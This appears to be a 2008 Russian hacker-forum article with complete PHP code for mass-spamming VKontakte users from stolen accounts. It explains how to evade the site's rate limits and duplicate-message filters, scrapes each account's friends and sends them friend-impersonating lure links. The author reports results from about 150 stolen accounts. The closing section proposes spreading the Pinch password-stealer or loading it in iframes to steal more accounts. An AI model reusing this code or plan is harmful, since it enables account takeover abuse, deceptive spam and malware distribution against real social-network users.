ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Спам социальных сетей на примере вконтакте.ру
  #1  
Старый 28.02.2008, 18:24
Аватар для diehard
diehard
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
Провел на форуме:
2590715

Репутация: 659


Отправить сообщение для diehard с помощью ICQ
Cool Спам социальных сетей на примере вконтакте.ру

Спам социальных сетей
на примере вконтакте.ру

[0. Intro]

Социальной сетью будем называть сервис, работающий в Интернете, способствующий установлению связей и обмену информацией между пользователями. С каждым днем наблюдается стремительный рост подобных сервисов, например сайт вконтакте.ру уже насчитывает более 8 млн пользователей и по рейтингу Alexa.com является самым посещаемым ресурсом ру-нета, поэтому подобные сервисы можно смело рассматривать как перспективное средство для массовых рассылок. Если реализация е-мейлового спама с каждым днем становится сложнее, то соц.сети еще не достаточно защищены от рассылок спамовых сообщений внутри них, чем конечно же грех не воспользоваться!

[1. Как подойти ]

Первым делом выясним, какие ограничения и попытки защититься от массовых рассылок есть в исследуемой соцсети. После несложного анализа методом пробок и ошибок выясняется, что суть защиты вконтакте состоит в нескольких ограничениях:
1) С 1 акка можно отправить не более 20 сообщений в сутки всем пользователям, не находящимся в числе друзей. Количество сообщений, которые можно отправить друзьям, не ограничены
2) С 1 акка можно отправить не более 1 сообщения в секунду.
3) Из N идущих подряд одинаковых сообщений, рассылаемых с одного акка, будет доставлено только одно сообщение только первому из получателей.
Больше никакой защиты в этой огромной 8миллионной системе найдено не было Даже капчи нигде нету

Как же можно этим воспользоваться?
1) Ограничение 20-в-сутки никак не обойти, поэтому чем больше у вас акков, тем больше вы отправите сообщений. + Не забывайте рассылку по друзьям акка, она неограничена.
2) Пока у 1 акка длится 1 секундная пауза, в это время можно отправлять сообщения с других акков.
3) Рассылаемые сообщения нужно рандомизировать. Достаточно подготовить 2 разных сообщения и слать их по очереди.

[2. Реализация ]

Напишем скрипт, получающий на вход акки и рассылающий сообщения по всем френдам введенных акков. Такая рассылка даст максимальный эффект, так как вероятность того, что юзер пройдет по ссылке, если получит мессагу от друга, намного больше, чем в случае, если мессага придет от левого человека.

Зададим необходимые константы и тексты писем (достаточно 2 варианта писем):

Код:
<?
/////////////////////////
// vkontakte-friends spam
// vspam.php
// (C) diehard
/////////////////////////

$accsfile = "accs.txt";
$logsfile = "logs.txt";
$host = "vkontakte.ru";
$urlfriends = "/friend.php"; // страница, откуда будем парсить френдов
$urlmail = "/mail.php"; // страница, откуда будем парсить secure-код и рассылать мессаги
$title[] = "Привет!";
$title[] = "Доброго времени дня!";
$message[] = "Как поживаешь? не могу разобраться как тут загружать новые фотки, а здесь http://formyfriends111.narod.ru/ давно собраны мои забавные фотки для друзей :)))";
$message[] = "привет! Как твои дела? не могу никак разобраться как загружать тут новые фотки, здесь http://formyfriends111.narod.ru/ давно собраны мои самые забавные фотки для друзей :-)";
Опишем необходимые функции для скачки страницы, записи логов и отправки мессаги.
Нужно отметить: чтобы отправить сообщение от юзера А юзеру Б нужно знать secure-код безопасной отправки (тоже видимо такая "защита"), который вычисляется на сервере и прописывается в скрытом input-е на самой странице отправки. Поэтому перед отправкой сперва загружаем эту страницу, парсим оттуда secure-код и подставляем его в запрос.

Код:
set_time_limit(0);
function GetPage($domain, $path, $cookie) 
{ 
    $hostname = gethostbyname($domain); 
    $responce = ""; 
    $errnum=0;$errstr=""; 
    $fsock    = fsockopen($hostname,80,$errnum,$errstr,5); 
    if(!$fsock) 
    { 
        return 0; 
    } 
    $headers  = "GET $path HTTP/1.0\r\n".
    		"Host: $domain\r\n".
		"User-Agent: Mozilla/5.0\r\n".
		"Accept: */*\r\n".
	        "Content-Type: application/x-www-form-urlencoded\r\n".
		"$cookie".
		"Connection: close\r\n".
		"\r\n"; 
    fwrite($fsock,$headers); 
    while(!feof($fsock)) 
    { 
        $responce .= fread($fsock,1024); 
    } 
    fclose ($fsock); 
    return $responce; 
}

// статус работы будем выводить в отдельный DIV
function SetStatus($status){
  echo "<script>document.getElementById('statusDiv').innerHTML='$status';</script>";
}

// лог пишем в файл и по желанию в отдельный DIV (раскоментить echo)
function SetLog($logmsg){
  $fp=@fopen($GLOBALS["logsfile"], "a");
  fwrite($fp, $logmsg."/r/n");
  fclose($fp);
  //echo "<script>document.getElementById('logDiv').innerHTML = '".$logmsg."<br>'+ document.getElementById('logDiv').innerHTML;</script>";
  SetStatus($logmsg);
}

function SendMail($from_id, $to_id, $t, $msg){
  SetLog("SendMail $from_id:$to_id:$t:$msg");
  // достаём secure
  $mailpage = GetPage($GLOBALS["host"], $GLOBALS["urlmail"]."?act=write&to=".$to_id, $GLOBALS["logincookies"][$from_id]);
  preg_match_all('/name="secure" value="(\w+)/', $mailpage, $mailsecure);
  foreach ($mailsecure[1] as $sss) {$secure=$sss;}
  SetLog("Parsed secure-code from ".$from_id." to ".$to_id.": ".$secure);

  // формируем post-запрос отправки
  $post="secure=$secure&photo=&to_id=$to_id&to_reply=0&act=sent&title=$t&message=$msg"; 
  $len = strlen($post);

  $query = "POST ".$GLOBALS["urlmail"]." HTTP/1.1\r\n".
	 "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322; .NET CLR 2.0.50215)\r\n".
	 "Host: ".$GLOBALS["host"]."\r\n".
	 $GLOBALS["logincookies"][$from_id].
	 "Content-Type: application/x-www-form-urlencoded\r\n".
	 "Connection: close\r\n".
	 "Content-Length: $len\r\n".
	 "\r\n".
	 "$post";
  $conn = fsockopen($GLOBALS["host"], 80, $errno, $errstr, 1000); 
  fputs($conn, $query); 
  while (!feof($conn)) 
   {
     $ss = fgets($conn, 128); 
   }
}
А теперь реализуем сам алгоритм работы программы:

Чтение акков (в формате id:emailassword)
сразу же сформируем массив кукисов $logincookies[$id], которые будут использоваться для логина под разными акками

Код:
$fp=@fopen($accsfile,"r");
while(!feof($fp)){
	$account = trim(fgets($fp));
	$ac = explode(":", $account);
	$id = $ac[0];
	$email = $ac[1];
	$md5 = md5($ac[2]);
	$accs[] = $id;
	$logincookies[$id] = "Cookie: remixchk=2; remixmid=$id; remixemail=$email; remixpass=$md5\r\n";
}fclose($fp);
Парсим списки френдов для каждого акка в массив $friends[$id][]:

Код:
$maxsize = 0;
foreach ($accs as $curracc){
  $currfriendspage = GetPage($host, $urlfriends, $logincookies[$curracc]);
  preg_match_all("/write&to=(\w+)/", $currfriendspage, $currfriends);
  foreach ($currfriends[1] as $currfriend){
    $friends[$curracc][] = $currfriend;
  }
  $currsize = sizeof($friends[$curracc]);
  if ($currsize>$maxsize) $maxsize = $currsize;
}
Для наблюдения за процессом рассылки выводим слои статуса, лога и следующую таблицу: строки=акки, столбцы=френды акков

Код:
echo	"<table id='tableFr' border=1 cellspacing=0 cellpadding=0>".
	"<tr id='trFr0'>".
	"<td id='tdFr0_0'></td>";
for ($i=1;$i<=$maxsize;$i++) { echo	"<td id='tdFr0_$i'>Friend$i</td>";};
echo	"</tr>";

$n=1;
foreach ($accs as $curracc){
  echo	"<tr id='trFr$n'>";
  echo	"<td id='tdFr".$n."_0'>id$curracc</td>";
  for ($i=0;$i<sizeof($friends[$curracc]);$i++) { echo	"<td id='tdFr".$n."_".($i+1)."'>".$friends[$curracc][$i]."</td>";};
  for ($i=$i;$i<$maxsize;$i++) {echo	"<td id='tdFr".$n."_".($i+1)."'>_</td>";};
  echo	"</tr>";
  $n++;
}
echo	"</table>".
	"<div style='border-width:1;border:1;color:#0000FF' id='statusDiv'></div><br>".
	"<div id='logDiv'></div>";
И наконец основной цикл программы: проходимся по-вертикали следующим образом:
сначала спамим первого френда первого акка, потом первого френда второго акка, потом первого френда третьего акка ...
потом спамим второго френда первого акка, потом второго френда второго акка, потом второго френда третьего акка ...
...
Таким образом пока первый акк простаивает установленное ему ограничение в одну секунду, рассылка продолжается на следующих акках, таким образом мы обходим защиту от множественных рассылок за единицу времени.
Чередуем текст мессаги, задавая его индекс остатком от деления на 2 текущего индекса столбца, таким образом мы обходим защиту от отправки одинаковых подряд идущих мессаг.

Код:
for($i=0;$i<$maxsize;$i++){
  for($j=0;$j<sizeof($accs);$j++){
    if ($i<sizeof($friends[$accs[$j]])) {
      echo "<script>document.getElementById('tdFr".($j+1)."_".($i+1)."').style.backgroundColor = '#0000FF';</script>";
      SetStatus("Sending from ".$accs[$j]." to ".$friends[$accs[$j]][$i]);
      SendMail($accs[$j], $friends[$accs[$j]][$i], $title[$ % 2], $message[$i % 2]);
      echo "<script>document.getElementById('tdFr".($j+1)."_".($i+1)."').style.backgroundColor='#00FF00';<script>";
  }}
  sleep(1);
}
[3. Пример работы ]



Посмотреть пример работы скрипта можно по адресу: http://ka-ro.no/vk/vspam.php
Скрипт очень простой и является всего лишь примером реализации массовых рассылок в соцсетях. Чем больше вобъёте акков - тем более громоздкой будет выводимая таблица, поэтому рекоммендую запускать его в нескольких вариантах с разными базами акков (не больше 30). Этот скрипт был написан для использования акков выложенных недавно в разделе Халява, из них оказалось около 150 валидных, скрипт в 5 параллельных задачах поработал около получаса, в результате за несколько часов набежало до 1к уников качественного снг-траффа и он продолжает капать. Можно совершенствовать либо писать с нуля, но суть в том, что таким способом можно добывать трафф из соц.сетей.



[4. Outro ]

Как это использовать - ограничивается вашей фантазией, например можно рассылать пинч или загружать его в ифрейме, чтобы добыть новые неюзанные акки для проведения последующих рекламных рассылок или тупо сливать на партнерку. А если проводить рассылки в буржуйских соцсетях типа Facebook и при этом отбирать адресатов по географическому расопложению или по интересам (признак - приналежность к какой-нибудь группе, тут вам не нужно собирать тематические базы емейлов, когда все мемберы тематической группы перед вами)? В общем, дерзайте!

Последний раз редактировалось diehard; 29.02.2008 в 01:38..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Взлом беспроводных сетей halkfild Беспроводные технологии/WPAN/WLAN 28 28.03.2010 22:35
Спам атака paronormal Болталка 8 17.04.2008 22:00
Очередное зло от социальных сетей iddqd Мировые новости 18 26.02.2008 02:37



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ